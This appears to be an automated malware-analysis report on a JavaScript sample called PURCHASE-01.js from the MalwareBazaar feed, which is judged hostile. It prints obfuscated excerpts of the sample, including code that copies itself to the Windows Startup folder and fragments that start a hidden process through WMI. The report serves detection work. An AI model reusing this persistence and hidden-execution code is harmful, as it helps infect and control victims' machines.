0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1 01
JAVASCRIPT
Verdict: HOSTILE
AI
Self-copying startup persistence and hidden WMI execution
Local reference
Suspicious dependency
Inferred
PURCHASE-01.js
javascript
| 1 |
try {
|
|
| 2 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 3 |
|
|
| 4 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩ�… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
JavaScript self-copies to Startup |
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
| 7586:132 |
…�ް⅂������ਛƱ��";
|
|
| 7587 |
|
|
| 7588 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 7589 |
|
|
| 7590 |
var cockhoop = GetObject(trippinglyKirsty);
|
Obfuscated WMI startup creates hidden process |
| 7591 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 7592 |
|
|
| 7593 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧�… |
|
| 8253:62 |
…�⅂������ਛƱ��"; } catch(e) { this.riveter = "��⊧Ԩࡔ��🦸��ް⅂������ਛƱ��"; }
|
|
| 8254 |
|
|
| 8255 |
var cubangle = couper.SpawnInstance_();
|
Obfuscated WMI startup creates hidden process |
| 8256 |
if (this.riveter || this.riveter === "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞") { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 8257 |
|
|
| 8258 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";… |
|
| 8348:99 |
…othringen + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8349 |
|
|
| 8350 |
cubangle.ShowWindow = 0;
|
Obfuscated WMI startup creates hidden process |
| 8351 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8352 |
|
|
| 8353 |
var Lothringen = this.riveter || "⊧… |
|
Objectives
| 8253:62 |
…�⅂������ਛƱ��"; } catch(e) { this.riveter = "��⊧Ԩࡔ��🦸��ް⅂������ਛƱ��"; }
|
|
| 8254 |
|
|
| 8255 |
var cubangle = couper.SpawnInstance_();
|
|
| 8256 |
if (this.riveter || this.riveter === "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞") { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 8257 |
|
|
| 8258 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";… |
|
| 8348:99 |
…othringen + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8349 |
|
|
| 8350 |
cubangle.ShowWindow = 0;
|
|
| 8351 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8352 |
|
|
| 8353 |
var Lothringen = this.riveter || "⊧… |
|
| 7586:132 |
…�ް⅂������ਛƱ��";
|
|
| 7587 |
|
|
| 7588 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 7589 |
|
|
| 7590 |
var cockhoop = GetObject(trippinglyKirsty);
|
|
| 7591 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 7592 |
|
|
| 7593 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧�… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
|
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
|
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
Micro-behaviors
| 1 |
try {
|
|
| 2 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 3 |
|
|
| 4 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩ�… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
|
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
|
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
| 7586:132 |
…�ް⅂������ਛƱ��";
|
|
| 7587 |
|
|
| 7588 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 7589 |
|
|
| 7590 |
var cockhoop = GetObject(trippinglyKirsty);
|
|
| 7591 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 7592 |
|
|
| 7593 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧�… |
|
| 4358:68 |
…�🦸��ް⅂������ਛƱ��"; break; }
|
|
| 4359 |
|
|
| 4360 |
var tovariches = footrests.Environment("User");
|
|
| 4361 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩࡔ… |
|
| 8253:62 |
…�⅂������ਛƱ��"; } catch(e) { this.riveter = "��⊧Ԩࡔ��🦸��ް⅂������ਛƱ��"; }
|
|
| 8254 |
|
|
| 8255 |
var cubangle = couper.SpawnInstance_();
|
|
| 8256 |
if (this.riveter || this.riveter === "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞") { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; }
|
|
| 8257 |
|
|
| 8258 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";… |
|
| 8348:99 |
…othringen + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8349 |
|
|
| 8350 |
cubangle.ShowWindow = 0;
|
|
| 8351 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 8352 |
|
|
| 8353 |
var Lothringen = this.riveter || "⊧… |
|
| 4158:21 |
…1: this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; break; }
|
|
| 4159 |
|
|
| 4160 |
var crwthooo = new ActiveXObject("Scripting.FileSystemObject");
|
|
| 4161 |
var Plantagenetlll = new ActiveXObject("WScript.Shell");
|
|
| 4162 |
var rabific = WScript.ScriptFullName;
|
|
| 4163 |
var startupe = Plantagenetlll.SpecialFolders("Startup");
|
|
| 4164 |
var microtomic = startupe + "\\" + crwthooo.GetFileName(rabific);
|
|
| 4165 |
if (rabific.toLowerCase() !== microtomic.toLowerCase()) {
|
|
| 4166 |
if (!crwthooo.FileExists(microtomic)) {
|
|
| 4167 |
crwthooo.CopyFile(rabific, microtomic);
|
|
| 4168 |
}
|
|
| 4169 |
}
|
|
| 4170 |
|
|
| 4171 |
var Lothringen = this.riveter || "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; this.rivet… |
|
Metadata
-
0
try {
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩ�
×3
| 1 |
try {
|
|
| 2 |
this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";
|
|
| 3 |
|
|
| 4 |
try { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞"; } catch(e) { this.riveter = "⊧Ԩ�… |
|
| 6:114 |
…�⊧Ԩࡔ��🦸��ް⅂������ਛƱ��";
|
|
| 7 |
|
|
| 8 |
for (var Lothringen = 0; Lothringen < 1; Lothringen++) { this.riveter = this.riveter + "⊧Ԩࡔ🦸᮰ް⅂ᾘ⥧ḔਛƱ⸞";… |
|
Identity
| SHA-256 |
0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1 |
| Filename |
PURCHASE-01.js |
| Package |
0da02f091c865f8c8577f9e6baa82dd9126ade41c7eef3968571fad1971a8ae1 |
| Version |
01 |
Origin
| Source |
harvest |
| Feed |
malwarebazaar |
| Ecosystem |
javascript |
| Domain |
abuse.ch |
Timeline
| First seen |
11 Aug 2026 07:56 UTC |
| First analyzed |
12 Aug 2026 17:32 UTC |
| Last analyzed |
12 Aug 2026 17:32 UTC |
| Last updated |
12 Aug 2026 17:32 UTC |
Labeling
| Label |
bad |
| Label source |
harvest |
| Traits version |
73866 |